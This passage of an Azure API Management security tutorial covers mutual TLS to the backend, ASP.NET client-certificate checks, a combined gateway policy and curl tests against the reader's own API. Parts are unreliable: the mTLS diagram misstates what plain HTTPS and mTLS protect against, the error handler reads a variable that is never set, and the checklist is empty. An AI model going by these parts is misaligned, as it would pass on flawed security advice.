Step 6: Backend Security and Mutual TLS

Secure the communication between APIM and your backend APIs.

Configure Mutual TLS in APIM

<!-- In your APIM backend configuration via ARM template or API -->
<backend>
    <url>https://your-backend-api.azurewebsites.net</url>
    <tls>
        <validate-server-certificate>true</validate-server-certificate>
        <validate-trust-chain>true</validate-trust-chain>
    </tls>
    <client-certificate>
        <!-- Store in Key Vault and reference -->
        <certificate-id>https://your-key-vault.vault.azure.net/secrets/backend-client-cert</certificate-id>
    </client-certificate>
</backend>

Why Mutual TLS Matters

Without mTLS:                    With mTLS:
┌─────────┐                    ┌─────────┐
│ APIM    │ ──► HTTPS          │ APIM    │ ──► mTLS
└────┬────┘                    └────┬────┘
     │                                 │
     │     Only server verified       │  Both sides verified
     │     Client is anonymous        │  Identity confirmed both ways
     ▼                                 ▼
┌─────────┐                    ┌─────────┐
│ Backend │                    │ Backend │
│  Server │                    │  Server │
└─────────┘                    └─────────┘

RISK: Attacker can impersonate   RISK: Only clients with valid
your backend with fake server    certificate can communicate
- Serve fake data                - Man-in-the-middle impossible
- Phish for credentials         - Backend trusts only APIM

Backend Implementation - Require Client Certificate

// Program.cs - Require client certificates
builder.Services.AddAuthentication(CertificateAuthenticationDefaults.AuthenticationScheme)
    .AddCertificate(options =>
    {
        // Validate certificate chain - ensures cert is from trusted CA
        options.RevocationMode = X509RevocationMode.Online;
        options.ValidateCertificateChain = true;
        
        // Validation events for debugging
        options.Events = new CertificateAuthenticationEvents
        {
            OnCertificateValidated = context =>
            {
                var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
                var thumbprint = context.ClientCertificate?.Thumbprint;
                logger.LogInformation("Client certificate validated: {Thumbprint}", thumbprint);
                
                // Additional validation - check allowed thumbprints
                if (!IsAllowedCertificate(context.ClientCertificate))
                {
                    context.Fail("Certificate not in allowed list");
                }
                
                return Task.CompletedTask;
            },
            OnAuthenticationFailed = context =>
            {
                var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
                logger.LogError("Client certificate validation failed: {Message}", context.Exception.Message);
                return Task.CompletedTask;
            }
        };
    });

// Allow specific certificates
private static bool IsAllowedCertificate(X509Certificate2 cert)
{
    var allowedThumbprints = new[]
    {
        "THUMBPRINT_FROM_APIM_CLIENT_CERT",
        "THUMBPRINT_FROM_OTHER_ALLOWED_CLIENTS"
    };
    
    return allowedThumbprints.Contains(cert?.Thumbprint, StringComparer.OrdinalIgnoreCase);
}

// Controller that requires certificate authentication
[ApiController]
[Route("api/[controller]")]
public class SecureDataController : ControllerBase
{
    [HttpGet]
    [Authorize(AuthenticationSchemes = CertificateAuthenticationDefaults.AuthenticationScheme)]
    public IActionResult GetSecureData()
    {
        // Get client certificate info for logging
        var clientCert = HttpContext.Connection.ClientCertificate;
        var thumbprint = clientCert?.Thumbprint;
        
        // Only clients with valid certificates can reach here
        return Ok(new { 
            message = "This is secure data",
            accessedBy = $"Certificate: {thumbprint}"
        });
    }
}

Complete Security Policy Implementation

Here's the complete security policy combining all aspects:

<policies>
    <inbound>
        <!-- 1. Rate Limiting by subscription -->
        <!-- Allow 100 calls per minute per subscription -->
        <rate-limit-by-key calls="100" 
                           renewal-period="60" 
                           counter-key="@(context.Subscription?.Key ?? context.Request.IpAddress)" />
        
        <!-- 2. JWT Validation -->
        <validate-jwt header-name="Authorization" failed-validation-error-message="Unauthorized. Invalid, expired, or missing token.">
            <openid-config url="https://login.microsoftonline.com/{tenant}/v2.0/.well-known/openid-configuration" />
            <audiences>
                <audience>api://your-api-client-id</audience>
            </audiences>
            <issuers>
                <issuer>https://login.microsoftonline.com/{tenant}/v2.0</issuer>
            </issuers>
            <required-claims>
                <claim name="roles" match="any">
                    <value>User</value>
                    <value>Admin</value>
                </claim>
            </required-claims>
        </validate-jwt>
        
        <!-- 3. IP Filtering (optional - uncomment if needed) -->
        <!-- <ip-filter action="allow">
            <address>13.107.42.0/24</address>
            <address>13.107.128.0/22</address>
        </ip-filter> -->
        
        <!-- 4. Request Sanitization -->
        <set-header name="X-Correlation-Id" exists-action="override">
            <value>@(Guid.NewGuid().ToString())</value>
        </set-header>
        <set-header name="X-Internal-Tracking" exists-action="delete" />
        <set-header name="X-Deployment-Id" exists-action="delete" />
        
        <!-- 5. Validate content type -->
        <choose>
            <when condition="@(context.Request.Headers.GetValueOrDefault("Content-Type","").Contains("application/json") || context.Request.Method == "GET")">
                <continue />
            </when>
            <otherwise>
                <return-response>
                    <set-status code="415" reason="Unsupported Media Type" />
                    <set-body>{"error": "Only application/json content type supported"}</set-body>
                </return-response>
            </otherwise>
        </choose>
        
        <base />
    </inbound>
    
    <backend>
        <!-- Backend security -->
        <forward-uri-keep-encode-slash>true</forward-uri-keep-encode-slash>
        
        <!-- Optional: Add client certificate for mTLS -->
        <!-- <set-header name="X-Client-Cert" exists-action="override">
            <value>@(context.Request.Certificate?.ToString())</value>
        </set-header> -->
        
        <base />
    </backend>
    
    <outbound>
        <!-- Response sanitization -->
        <set-header name="X-Powered-By" exists-action="delete" />
        <set-header name="X-AspNet-Version" exists-action="delete" />
        <set-header name="Server" exists-action="delete" />
        
        <!-- Add security headers -->
        <set-header name="Strict-Transport-Security" exists-action="override">
            <value>max-age=31536000; includeSubDomains</value>
        </set-header>
        <set-header name="X-Content-Type-Options" exists-action="override">
            <value>nosniff</value>
        </set-header>
        <set-header name="X-Frame-Options" exists-action="override">
            <value>DENY</value>
        </set-header>
        
        <!-- Add rate limit info to response -->
        <set-header name="X-Rate-Limit-Limit" exists-action="override">
            <value>100</value>
        </set-header>
        
        <base />
    </outbound>
    
    <on-error>
        <!-- Error handling - never expose sensitive info -->
        <set-body>@{
            var error = context.LastError;
            
            // Log full error details internally
            // But only return safe message to client
            
            return new { 
                error = "An error occurred processing your request",
                requestId = context.Variables["X-Correlation-Id"]
            };
        }</set-body>
        <set-header name="Content-Type" exists-action="override">
            <value>application/json</value>
        </set-header>
        <!-- Don't expose detailed error to clients -->
        <set-status code="500" reason="Internal Server Error" />
    </on-error>
</policies>

Testing Your Security Implementation

Test JWT Validation

# Test with invalid token - should get 401
curl -X GET https://your-api.azure-api.net/api/data \
  -H "Authorization: Bearer invalid.token.here"

# Expected: 401 Unauthorized

# Test with expired token - should get 401
curl -X GET https://your-api.azure-api.net/api/data \
  -H "Authorization: Bearer eyJ..."

# Expected: 401 Unauthorized (Token has expired)

# Test with valid token - should succeed
TOKEN=$(az account get-access-token \
  --resource "api://your-api-client-id" \
  --query accessToken -o tsv)

curl -X GET https://your-api.azure-api.net/api/data \
  -H "Authorization: Bearer $TOKEN"

# Expected: 200 OK with data

Test Rate Limiting

# Make rapid requests to trigger rate limit
for i in {1..110}; do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \
    https://your-api.azure-api.net/api/data \
    -H "Authorization: Bearer $TOKEN")
  
  if [ "$RESPONSE" != "200" ]; then
    echo "Request $i: $RESPONSE"
  fi
done

# Expected: First 100 requests: 200 OK
# Then: 429 Too Many Requests

Test IP Blocking

# Test from different IP (use VPN or different network)
curl -v https://your-api.azure-api.net/api/data

# Expected with IP filter: 403 Forbidden
# Without IP filter: May succeed or 401 (depends on other policies)

Security Checklist for Production

Before deploying to production, verify each item:


Conclusion

A secure API gateway requires multiple layers of defense working together. Azure APIM provides robust built-in policies for:

By implementing these policies correctly, you protect your backend services from common attack vectors while maintaining excellent performance for legitimate users.

Remember: Security is not a one-time implementation but an ongoing process. Regularly review your policies, update your security configurations, monitor for new threats, and test your defenses.


Azure Integration Hub - API Management